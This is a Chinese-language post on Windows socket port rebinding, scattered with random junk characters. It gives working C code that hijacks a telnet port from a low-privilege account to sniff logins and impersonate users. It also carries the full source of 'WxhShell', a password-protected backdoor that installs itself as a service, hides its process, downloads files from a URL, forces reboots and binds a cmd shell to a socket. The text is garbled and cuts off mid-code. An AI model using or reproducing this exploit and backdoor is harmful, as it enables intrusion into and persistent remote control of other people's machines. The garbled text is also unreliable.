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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XN*?<s3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qUZm6)p6[a fR:BF47 saddr.sin_family = AF_INET; _ct18nh9 oNkASAd saddr.sin_addr.s_addr = htonl(INADDR_ANY); V>8)1)dF "kYzgi bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y,?!" CG`s@5y>5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 __F?iRrCM eU[f6OGqC 这意味着什么?意味着可以进行如下的攻击: f{} zqCK @Lp;p$G` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?0ezr[`. Aqc
Cb[1r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fmDn1N-bG lur$?_gt 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m'L7K K-Y) 'aq9]D_k 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Z~JX@s0v 3)?v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *{ =5AW}o 2jMV6S9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 72YL
FuA8vTV{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y([""z3<w %Ydzzr3 #include M[;N6EJH #include Qh3V[br #include QG|KZ8uO #include vf|lF9@U DWORD WINAPI ClientThread(LPVOID lpParam); igoUKDNiQ- int main() 0<,Q7onDD: { +IRr&J*P WORD wVersionRequested; pPC_ub DWORD ret; 0:,8Ce WSADATA wsaData; X2Z
E9b BOOL val; yq?7!X SOCKADDR_IN saddr; Oq7R^t`b SOCKADDR_IN scaddr; oj8_e xx int err; Sxj _gn SOCKET s; 86]})H SOCKET sc; S%+$ int caddsize; gwf*M3( HANDLE mt; 1X5*V!u DWORD tid; l> Mth+,b wVersionRequested = MAKEWORD( 2, 2 ); (Wj2%*NT err = WSAStartup( wVersionRequested, &wsaData ); kLr6j-X if ( err != 0 ) { R5y+bMZ printf("error!WSAStartup failed!\n"); v(ATbY75 return -1; GN7\p) } FMuakCic5 saddr.sin_family = AF_INET; ^/)!)=? l7.W2mg //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !7m
) QNV x[ sSM: saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K2W$I H:. saddr.sin_port = htons(23); =:|fN3nJ2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eH*u,/ { d%"?^e printf("error!socket failed!\n"); :;wb{q$O return -1; !Q`vOVSUD } z_Nw%V4kr val = TRUE; +cDz`)N,, //SO_REUSEADDR选项就是可以实现端口重绑定的 ^kS44pr\Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R)%1GG4 { yf2I%\p} printf("error!setsockopt failed!\n"); 5i 6*$#OM_ return -1; *jBn
^ } g _2m["6* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dHcGe{T^( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +<^TyIJ0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ][ ,NNXrc& :sMc}k?9S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zF&>1y.$ { # j=r ret=GetLastError(); K3c(c%$<R printf("error!bind failed!\n"); Oy @vh>RY return -1; #4WA2EW } :%#(<@ { listen(s,2); \~1>%F'op while(1) CoZXbTq { <2\4eusk caddsize = sizeof(scaddr); LPg1 G+e //接受连接请求 @Ju!|G9z/p sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m&'z|eN if(sc!=INVALID_SOCKET) ^'g1? F$_ { QQd%V#M? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *@M7J if(mt==NULL) SqiLp!Y` { /1Xji0LK printf("Thread Creat Failed!\n"); L@ b8, break; 91Cg
} qU'O4TWZ } |_Y[931< CloseHandle(mt); &"90pBGK } W6Os|z9&| closesocket(s); G8JwY\ WSACleanup(); }F*u
9E return 0; ''@upZBJ } 8a\
Pjk DWORD WINAPI ClientThread(LPVOID lpParam) 8:BPXdiK { VW7
?{EL7 SOCKET ss = (SOCKET)lpParam; )/'y'd<r SOCKET sc; e[3rz%'Q unsigned char buf[4096]; x*)@:W! SOCKADDR_IN saddr; ~(TS>ck@ long num; ;K'1dsA DWORD val; bdn{Y DWORD ret; y=L9E? //如果是隐藏端口应用的话,可以在此处加一些判断 H:~41f[ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 8Nr,Wq saddr.sin_family = AF_INET; y6[^I'kz saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JsOu
*9R saddr.sin_port = htons(23); Eua\N<!aai if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n3-2;xuNKE { zuWfR&U|W printf("error!socket failed!\n"); D@Zb|EI%< return -1; I|6wPV? } }y-b<J?H val = 100; KUC (n! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -L9I;]:KY { zU+` o?al ret = GetLastError(); cVzOW|NVx return -1; mSWh'1]b.~ } fbbk;Rq.'3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x)X=sX. { eBD7 g- ret = GetLastError(); oQrkd: return -1; kEM5eY } ,j4 ;:F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -Oo7]8 { \78w1Rkl printf("error!socket connect failed!\n"); P'prp=JD closesocket(sc); 4= VAJ closesocket(ss); Pkr0|bs* return -1; 1|za>N6[yu } _T\~AwVc< while(1) I2@pkVv3z { o{EWNkmj //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MP Ma //如果是嗅探内容的话,可以再此处进行内容分析和记录 e ;4y5i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *wml
4lh num = recv(ss,buf,4096,0); =[O;/~J%: if(num>0) FFT h}>> send(sc,buf,num,0); k+^-;=u6< else if(num==0) t3TnqA break; a0Y/,S*K num = recv(sc,buf,4096,0); ! H)D@,@ & if(num>0) !6t
()] send(ss,buf,num,0); /f!CX|U else if(num==0) @"*8nV# break; x(e=@/qp } LB<,(dyh closesocket(ss); l
vuoVINEp closesocket(sc); c}nXMA^^ return 0 ; L0_qHLY } OUY65K (
}DCy23 mdu5aL ========================================================== *o8DfZ 6Xjr0C+ 下边附上一个代码,,WXhSHELL Nz+Jf57t I("J$ ========================================================== .\0PyV( LoHL}1BG- #include "stdafx.h" :/H fMJ kan?2x #include <stdio.h> ^-3R+U- S #include <string.h> =sG9]a<I #include <windows.h> ]M|Iy~
X #include <winsock2.h> +jcg[|-'/ #include <winsvc.h> ,+0>p #include <urlmon.h> 9JHu{r"M 6?U2Et #pragma comment (lib, "Ws2_32.lib") ;c5Q" #pragma comment (lib, "urlmon.lib") *KP
60T 9aw- n*< #define MAX_USER 100 // 最大客户端连接数 ~]71(u2 #define BUF_SOCK 200 // sock buffer o=`FGowF #define KEY_BUFF 255 // 输入 buffer W
s!N%%g %J06]FG7 #define REBOOT 0 // 重启 a7#J af #define SHUTDOWN 1 // 关机 ?)9mHo^ \lVX~r4 #define DEF_PORT 5000 // 监听端口 I!y[7^R }.<%46_Z- #define REG_LEN 16 // 注册表键长度 ]KMOLe6( #define SVC_LEN 80 // NT服务名长度 hSmu"a,S D. 2HM // 从dll定义API 56Q9RU(M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pq`Bg`c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JFx=X=C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NGHzifaE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (,<ti): J[:3H6%` // wxhshell配置信息 Gc)
Zu`67 struct WSCFG { djVE x} int ws_port; // 监听端口 eATX8`W char ws_passstr[REG_LEN]; // 口令 EM+_c)d} int ws_autoins; // 安装标记, 1=yes 0=no !$'s?rnh char ws_regname[REG_LEN]; // 注册表键名 j|f$:j char ws_svcname[REG_LEN]; // 服务名 fDmGgD? char ws_svcdisp[SVC_LEN]; // 服务显示名 %(`4wo}, char ws_svcdesc[SVC_LEN]; // 服务描述信息 pb~&gliW char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c43"o int ws_downexe; // 下载执行标记, 1=yes 0=no 6aG/=fq char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _DChNX char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iP1u u Ws[[Me,= }; ]p(jL7 <tZPS`c'_ // default Wxhshell configuration %?lPS struct WSCFG wscfg={DEF_PORT, Hh=D:kE "xuhuanlingzhe", QE7
r{ 1, >= Hcw "Wxhshell", 36D-J)-Z "Wxhshell", ;|v6^2H" "WxhShell Service", ]*+ozAG4 "Wrsky Windows CmdShell Service", rIz"_r "Please Input Your Password: ", zmI?p4, 1, 8phcekh+ " http://www.wrsky.com/wxhshell.exe", C%<[mM "Wxhshell.exe" 2U6j?MyH2 }; b'Gn)1NE 6KmF 9 // 消息定义模块 kW&{0xkGR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <o5+*X char *msg_ws_prompt="\n\r? for help\n\r#>"; q2}<n'o+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Lxm1.TOJ char *msg_ws_ext="\n\rExit."; K#g)t/SZ char *msg_ws_end="\n\rQuit."; JcxhI]E char *msg_ws_boot="\n\rReboot..."; <,,U>0?3 char *msg_ws_poff="\n\rShutdown..."; .IYE+XzV char *msg_ws_down="\n\rSave to "; S2)rkX$ <Tr_,Ya{9 char *msg_ws_err="\n\rErr!"; 7~[1%` char *msg_ws_ok="\n\rOK!"; 4
Y q|Z zO`54^ char ExeFile[MAX_PATH]; u]P0:)tS. int nUser = 0; /ve8);cH\ HANDLE handles[MAX_USER]; VIL #q int OsIsNt; Ml8 '=KN_ ANh5-8y SERVICE_STATUS serviceStatus; >\b=bT@iM SERVICE_STATUS_HANDLE hServiceStatusHandle; 2s,wC!', (
q^umw // 函数声明 W`], int Install(void); 8Pklw^k int Uninstall(void); RRy3N
)HR int DownloadFile(char *sURL, SOCKET wsh); Fs7/3
int Boot(int flag); >G<AyS&z* void HideProc(void); Ig \#f int GetOsVer(void); )D/ 6%]O int Wxhshell(SOCKET wsl); lV6dm=k void TalkWithClient(void *cs); PsnGXcj int CmdShell(SOCKET sock); (=
;N{u int StartFromService(void); R_N:#K.M int StartWxhshell(LPSTR lpCmdLine); Y;
).+si }6]0hWsN[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `u
XQ z7 VOID WINAPI NTServiceHandler( DWORD fdwControl ); X2yTlLdY FvdeQsc! // 数据结构和表定义 {5j66QFoo SERVICE_TABLE_ENTRY DispatchTable[] = M 2q"dz { gfg n68k {wscfg.ws_svcname, NTServiceMain}, )rm4cW_ {NULL, NULL} ynwG\V }; k)7{Y9_No M;.ZM<Ga // 自我安装 /+|#^:@ int Install(void) (zcLx;N
{ zpjqEEY; char svExeFile[MAX_PATH]; z#6?8y2- HKEY key; bC6oqF'# strcpy(svExeFile,ExeFile); ej(ikj~j R 94^4I // 如果是win9x系统,修改注册表设为自启动 (u1m]WYL if(!OsIsNt) { &
E}mX]t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O7G"sT1Dv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s60
TxB RegCloseKey(key); k G0Yh2;# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xTz%nx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~d
>W?A RegCloseKey(key); .qv'6G return 0; gm"#:< ) } 0JjUAxNq } c1XX~8 } j+IrqPKC^ else { [<c&|tfl fS&6 // 如果是NT以上系统,安装为系统服务 ]d}0l6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C})'\1O% if (schSCManager!=0) F>hZ{ { G&f8n SC_HANDLE schService = CreateService yV_wDeAz ( d^E [|w; schSCManager, dt\jGD wscfg.ws_svcname, K4ZolWbU wscfg.ws_svcdisp, V^s0fWa SERVICE_ALL_ACCESS, zbkMFD.{y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0E`1HP"b SERVICE_AUTO_START, nw:-J1kWR SERVICE_ERROR_NORMAL, [{u(C!7L` svExeFile, yR5XJ;Tct NULL, c3%@Wj:fo NULL, E0n6$5Uc? NULL, ^Q<mV*~ NULL, 4'1m4Ugg NULL OX]V)QHVZ ); -e GL) M if (schService!=0) ~Heb1tl; { \c,pEXG CloseServiceHandle(schService); lCd@jB{ CloseServiceHandle(schSCManager); ENVk{QE! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 68fiG strcat(svExeFile,wscfg.ws_svcname); ^"\s eS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `mfq
2bVc RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J5Z%ImiT^O RegCloseKey(key); ] ]U<UJ return 0; ZzGahtx)Y } PXoz*)tk } G6P)C##ibn CloseServiceHandle(schSCManager); BimjQ;jtI } CbBSFKM } q<W=#Sx .jw}JJ return 1; Yj|eji7y } -/C)l)V} `A$!]&[~| // 自我卸载 o Pci66 int Uninstall(void) %.v{N6 { A5:qKaAq HKEY key; BaF!O5M 620%Z* if(!OsIsNt) { IzOYduJ. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4BYE1fUzd RegDeleteValue(key,wscfg.ws_regname); EI>6Nh RegCloseKey(key); %=we`& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z7rJ}VP RegDeleteValue(key,wscfg.ws_regname); o{b=9-V RegCloseKey(key); EJ}!F?o return 0; N]EcEM # } 1LJuCI=~ } gJiK+&8I } -$VZtex else { dCe4u<so\ 5<pftTcZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kv,%(en] if (schSCManager!=0) hVT~~n`Rj { Jb)#fH$L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hf/2vt
m if (schService!=0) *_ Z#O, { #ge)2 if(DeleteService(schService)!=0) { Pz#7h*;cw. CloseServiceHandle(schService); qSqI7ptA\ CloseServiceHandle(schSCManager); keW~ NM return 0; PP~rn fE } 0_P}z3(M CloseServiceHandle(schService); '3]p29v{ } g[
0<m#" CloseServiceHandle(schSCManager); v0D q@Q1 } &c(WE
RW?- } $mmup|;( >h2%[j= return 1; uJHu>M}~ } v[@c*wo 87)zCq // 从指定url下载文件 /){KOCBl; int DownloadFile(char *sURL, SOCKET wsh) ,oxcq?7#4 { iqQUtE]E_ HRESULT hr; <^~FLjsfg char seps[]= "/"; .?p\n7 char *token; /&& 2u7* char *file; do-ahl, char myURL[MAX_PATH]; aSuM2 char myFILE[MAX_PATH]; ,:fl?x.X 07Gv* . strcpy(myURL,sURL); w;}@'GgL token=strtok(myURL,seps); `~eX55W while(token!=NULL) b `2|I { { ;4M><OS! file=token; a07@C token=strtok(NULL,seps); tkQH\5 } =~Ynz7 /x <^b7cOFQ GetCurrentDirectory(MAX_PATH,myFILE); hmx=
35 strcat(myFILE, "\\"); 9][(Iu]h7 strcat(myFILE, file); qm Tb-~ send(wsh,myFILE,strlen(myFILE),0); '\~$dtI$ send(wsh,"...",3,0); Qu5UVjbE, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L%v^s4@ if(hr==S_OK) )15Z#`x return 0; F-D]TRG/*] else ANIz,LS return 1; +_v$!@L8 W"{v2x i } QB:i/9 mNf8kwr // 系统电源模块 pME{jD
int Boot(int flag) ZKQ hbNT { bWl5(S` Z HANDLE hToken; 4L-:*b_v\ TOKEN_PRIVILEGES tkp; L-pVltX $Y=T&O if(OsIsNt) { :+{ ? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -U<Upn)2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e{;OSk`x tkp.PrivilegeCount = 1; `r5$LaD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T5Q{{ @Q AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'Y$R~e^Y? if(flag==REBOOT) { `c/*H29 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y+4o B return 0; 8ul&x~2;X } GV)<Q^9 else { A^ _a3$,0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OA:%lC! return 0; {T"0DSV } h2ZkCML } |/gW_;( else { -~eJn'W if(flag==REBOOT) { mcz+P | if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f:g,_|JD$ return 0; d=,%=@ } 1h*)@ else { 9ukg }_Hx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w;Q;[:y return 0; c PgfTT } 7 r|(}S } Q0Nyqhvi )uv=S;+ return 1; _3]][a, } {_(\`> as=m`DqOh // win9x进程隐藏模块 ?[*0+h`en void HideProc(void) 9Rek4<5 { iX'rU@C Lokl2o` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t+,4Ya|Xj if ( hKernel != NULL ) /8VP[i)u { Rwr 2gMt7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )s1Ib4C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K:'q>D@ FreeLibrary(hKernel); }M1sksk5 } ZEYgK)^ |F.)zC5{ return; 7?B.0>$3>V } o!:8nXw >5R<;#8 // 获取操作系统版本 J$~<V
IX int GetOsVer(void) 9]t[J_YM { BmHwu{n' OSVERSIONINFO winfo; tO_H!kP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +(uYwdcN GetVersionEx(&winfo); F}"] 92 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LqdY Qd51 return 1; 0O k,oW{ else Qb8KPpd return 0; ZVeaTK4_
t } Zo KcJA ~&\ f|% // 客户端句柄模块 a[lY S{ int Wxhshell(SOCKET wsl) R<i38/ ~G { 8Ld:"Y# SOCKET wsh; D>Gt]s struct sockaddr_in client; 0Z|FZGRP DWORD myID; pZ#ap<|>I v/ *Y#(X while(nUser<MAX_USER) 2<mW\$ { sH[
-W- int nSize=sizeof(client); I\qYkWg7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K[chjp!$l if(wsh==INVALID_SOCKET) return 1; pT?Q#,fh 0A{/B/r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M MzGd:0b if(handles[nUser]==0) \7"@RHcihB closesocket(wsh); Ll MpS<2NO else 8 6f2'o+ nUser++; CF|]e: } GE|+fYVM-$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~[k%oA%W Y!6/[<r$~k return 0; s4_/&h } ?PTk1sB 3]-_q"Co4f // 关闭 socket `nUO l void CloseIt(SOCKET wsh) l"n{.aL { >;z<j$;F< closesocket(wsh); PpLU nUser--; [sW.CK=3 ExitThread(0); Og;-B0,A } EBtLzbj yfU<UQ!1 // 客户端请求句柄 Yxv9 void TalkWithClient(void *cs) = 07Gy, =i { (;VVCAoy b|SE<\ SOCKET wsh=(SOCKET)cs; K
~ 44i char pwd[SVC_LEN]; &rDM<pO #- char cmd[KEY_BUFF]; :b[`
v char chr[1]; }HEvr)v9 int i,j; >zkRcm @pGZLq while (nUser < MAX_USER) { 7FN<iI&7\ W4;m H}#0 if(wscfg.ws_passstr) { gn5)SP 8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K;7f?52 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o;b0m;~ //ZeroMemory(pwd,KEY_BUFF); Lp5U"6y i=0; PX|=(:(k while(i<SVC_LEN) { XWJwJ q P ;A}C // 设置超时 &h*S
y fd_set FdRead; mj?16\|] struct timeval TimeOut; M8k"je7`s FD_ZERO(&FdRead); 5 ,0d FD_SET(wsh,&FdRead);
s95vK7I TimeOut.tv_sec=8; {b]aC TimeOut.tv_usec=0; */ G<!W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |}){}or if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6io , uh! TwyM\9l7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'gQidf pwd =chr[0]; EL3|u64GO if(chr[0]==0xd || chr[0]==0xa) { p2PY@d}}. pwd=0; cNzt%MjP break; (]/9-\6(# } bbxLBD' i++; .I3?7 } bYe;b><G *M7E#bQ5B // 如果是非法用户,关闭 socket 1GEK:g2B if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R];Oxe } elG;jB UEak^Mm;=2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4Ij-Ilg)% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i?Ss: v^ ,wwZI`>- while(1) { > Oh?%%6 P)dL?vkK ZeroMemory(cmd,KEY_BUFF); MJj4Hd P7B:%HiAx // 自动支持客户端 telnet标准 Qy#)Gxp j=0; wV?,Z!\Z while(j<KEY_BUFF) { 3M5#4n\v$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }U@m*dEG cmd[j]=chr[0]; UDf9FnG}L if(chr[0]==0xa || chr[0]==0xd) { c= UU" cmd[j]=0; bg|!'1bD`5 break; sqx`">R } F#xa`*AP j++; Ou'?]{ } 4Z[V uQng K[
.JlIP // 下载文件 ,n2i@?NHZ if(strstr(cmd,"http://")) { -#-p1^v} send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4!`bZ`_Bw if(DownloadFile(cmd,wsh)) \EbbkN:D send(wsh,msg_ws_err,strlen(msg_ws_err),0); #G9 adK5 else s!/TU{8J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GC8}X;((Y } y(
r1I[W' else { gPS&^EdxA ]L2Oz switch(cmd[0]) { elJ)4Em 9ykM3 // 帮助 Oc9#e+_& case '?': { Ct$82J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kex[ >L10G break; 0ZAj=u@O } l2b{u
GE // 安装 89o)M5KQ case 'i': { 'NZGQebK if(Install()) %Qn(rA@9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); "a1O01n else 7#;vG>] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X
fz`^x>M break; '#\D]5 } K|W^l\Lt // 卸载 SM[{BH< case 'r': { tXF]t
if(Uninstall()) (yQ
5` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,xJrXPW else rl:KJ\*D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b syq* break; G,&%VQ3P> } iNcZ)m/ // 显示 wxhshell 所在路径 5IVksg case 'p': { Hv#q:R8 char svExeFile[MAX_PATH]; l QPqcZd strcpy(svExeFile,"\n\r"); 4C~UcGMv\ strcat(svExeFile,ExeFile); "
oy\_1| send(wsh,svExeFile,strlen(svExeFile),0); %Xh fXd' break; eR']#Q46{T } B\j~)vg // 重启 '(@YK4_M case 'b': { 5/ecaAB2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;mm!0]V if(Boot(REBOOT)) &!7+Yb(1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }{7e7tW6 else { #*q2d closesocket(wsh); s #:%x# ExitThread(0); c
yQ(fIYl } !J>A,D"- break; \hk/1/siyF } [2$4| ;7 // 关机 /<)-q-W; case 'd': { ]XUl@Y. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r$)$n&j if(Boot(SHUTDOWN)) U+]Jw\\l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^.X [)U else { 1uG=`k8'k closesocket(wsh); 1r`i]1<H ExitThread(0); SVP:D3) } \Z5+$Ij break; 6=|&tE } 6DS43AQs // 获取shell (4~WWU (iT case 's': { K6\` __mLf CmdShell(wsh); 34C``i closesocket(wsh); u7]<=*V] ExitThread(0); ayp b break; 5P^ U_ } _&{%Wc5W~F // 退出 D\L!F6taS case 'x': { Yt1mB[&f^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N}/>r D CloseIt(wsh); 8q_0,>w% break; 1/j$I~B } Q49BU@xX // 离开 }*;EFR 6' case 'q': { (*^DN{5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); +!>LY closesocket(wsh); u?Hb(xZtg= WSACleanup(); nW;kcS*A exit(1); 3_ 2hC!u!K break; VAj<E0> } :uCdq`SaQl } ?A=b6Um } 4^Qi2[ w 'qeP6}M // 提示信息 y,C!9l if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Gd.&flSj } u]vPy
ria } U~is-+Uq Y^lQX~I2{ return; N_' +B+U? } #a}N"*P )q+4k m6 // shell模块句柄 AqYxWk3> int CmdShell(SOCKET sock) X\2_;zwf { ~@M7&%] STARTUPINFO si; }5S2p@W) ZeroMemory(&si,sizeof(si)); Dt}dp_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F?*k}]Gi si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G\rj?% PROCESS_INFORMATION ProcessInfo; Du_$C[ char cmdline[]="cmd"; v4<j CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zw=G@4xoU return 0; mx tgb$* } iz
x[ J%P)%yX // 自身启动模式 wa?+qiWnrl int StartFromService(void) ZJXqCo7O { nk08>veG typedef struct (KF7zP { vo;5f[>4i DWORD ExitStatus; 3"i% { DWORD PebBaseAddress; qpgU8f DWORD AffinityMask; #
cWHDRLX DWORD BasePriority; ya>N.h ULONG UniqueProcessId; b.Su@ay@(^ ULONG InheritedFromUniqueProcessId; oI$V|D3 9 } PROCESS_BASIC_INFORMATION; RK)l8c} HYIRcY PROCNTQSIP NtQueryInformationProcess; ~{QEL2 [b`$\o'- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q6)N*? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NG-`ag`s g~R/3cm4 HANDLE hProcess; Uz>Yn&{y6 PROCESS_BASIC_INFORMATION pbi; Z[;#|$J *PcVSEP/0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &t[|%c*D& if(NULL == hInst ) return 0; gHH&IzHF TNsg pJ?\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b+$o4l/x g_pGetModuleBaseName = 